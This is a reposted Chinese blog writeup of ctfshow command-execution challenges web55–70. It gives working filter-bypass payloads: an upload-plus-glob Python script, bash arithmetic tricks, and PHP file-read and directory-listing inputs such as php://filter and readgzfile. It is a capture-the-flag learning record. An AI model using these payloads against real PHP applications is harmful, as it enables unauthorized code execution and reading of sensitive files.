首页 > 其他分享 >命令执行篇3(web55-70)

命令执行篇3(web55-70)

时间:2024-09-26 12:52:20浏览次数:3  
标签:txt web55 base64 命令 flag 70 var POST php

17.web55

无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客

base64也是/bin目录下的可执行程序

18.web56

import requests

while True:
    url = "http://2534e197-d33f-4743-857a-a32ba63fee72.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.txt', b'cat flag.php')})
    if r.text.find("ctfshow") > 0:
         print(r.text)
         break

关于为什么是c=.+/???/????????[@-[]详见p神的文章讲的非常清楚

无字母数字webshell之提高篇 | 离别歌

19.web57

get_reverse_number = "$((~$(({}))))" # 取反操作

negative_one = "$((~$(())))" # -1

payload = get_reverse_number.format(negative_one*37)

print(payload)

在 Python 中,format 方法通常用于格式化字符串。例如,如果你有一个字符串模板,你可以使用 {} 作为占位符,然后使用 format 方法将变量值填充到这些占位符中。

20.web58-65

或者以下两种解法

POST传参:c=highlight_file("flag.php");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

21.web66

Show_source被过滤

c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

CTF中常用的php原生类总结_php原生类ctf-CSDN博客

22.Web68,69,70

c=var_dump(scandir('/'));

c=var_export(scandir('/'));(var_dump被禁用)

c=include('/flag.txt');或者 c=readgzfile("/flag.txt");

标签:txt,web55,base64,命令,flag,70,var,POST,php
From: https://blog.csdn.net/m0_72929232/article/details/142553024

相关文章

  • firewall-cmd命令详解
    一、firewall-cmd简介Linux上新用的防火墙软件,跟iptables差不多的工具irewall-cmd是firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念。firewalld跟iptables比起来至少有两大好处:1.firewa......
  • tcpdump抓包命令详解
    一、参数介绍-A以ASCII格式打印出所有分组,并将链路层的头最小化。-c在收到指定的数量的分组后,tcpdump就会停止。-C在将一个原始分组写入文件之前,检查文件当前的大小是否超过了参数file_size中指定的大小。如果超过了指定大小,则关闭当前文件,然后在打开一个新的文件。参数fi......
  • Leetcode 706. 设计哈希映射
    1.题目基本信息1.1.题目描述不使用任何内建的哈希表库设计一个哈希映射(HashMap)。实现MyHashMap类:MyHashMap()用空映射初始化对象voidput(intkey,intvalue)向HashMap插入一个键值对(key,value)。如果key已经存在于映射中,则更新其对应的值value。intget(in......
  • kafka生产者、消费者-命令行模式模拟
    win环境下,如果是linux,切换目录,用sh脚本就行kafka安装在上一篇https://www.cnblogs.com/qcy-blog/p/18428599Kraft启动kafkakafka-server-start.bat..\..\config\kraft\server.properties生产者,启动之后,命令行输入要生产的消息kafka-console-producer.bat--topictest-top......
  • 【Linux篇】常用命令及操作技巧(进阶篇 - 上)
    ......
  • Codeforces Round 970 (Div. 3)A~F
    CodeforcesRound970(Div.3)A~FA.Sakurako'sExam把1的个数和2的个数按奇偶分类讨论即可。//AConemoretimes//nndbk#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constintmod=1e9+7;constintN=2e5+10;intmain(){ios......
  • 笔记--(2)Linux基础命令(2)
    一、cat-查看文件内容命令cat[选项]文件名#查看1这个文件的内容[root@localhost~]#cat1hello#//输出结果为hello二、压缩文件命令1、gzip命令2、bzip2命令#用gzip压缩文件gzip文件名#用gzip解压文件gzip-dgzip格式的压缩文件#用bzip2压缩文件bz......
  • [redis命令]set&zset命令汇总
    set命令命令含义SADD向集合添加一个或多个成员SCARD获取集合的成员数SDIFF返回给定所有集合的差集SDIFFSTORE返回给定所有集合的差集并存储在destination中SINTER返回给定所有集合的交集SINTERSTORE返回给定所有集合的交集并存储在destination中SISMEMBER判断member......
  • 使用nc命令检测UDP端口
    使用nc命令检测UDP端口也是非常的简单,需要注意的是,所安装nc的版本不同,使用选项有点差异。1、检测开启的UDPnc-vuz192.168.2.2015353nc-vuz192.168.2.20137430端口正常启用时,会提示“UDPpacketsentsuccessfully”2、检测未开启的UDPnc-vuz192.168.2.2015354n......
  • Linux命令之dnf
    dnf [选项][命令][包]dnf是新一代的RPM软件包管理器,首先出现在Fedora18这个发行版中。它克服了YUM包管理器的一些瓶颈,提升了包括用户体验、内存占用、依赖分析、运行速度等多方面的内容。使用RPM、libsolv和hawkey库进行包管理操作。(1).常用选项-h显示帮助信......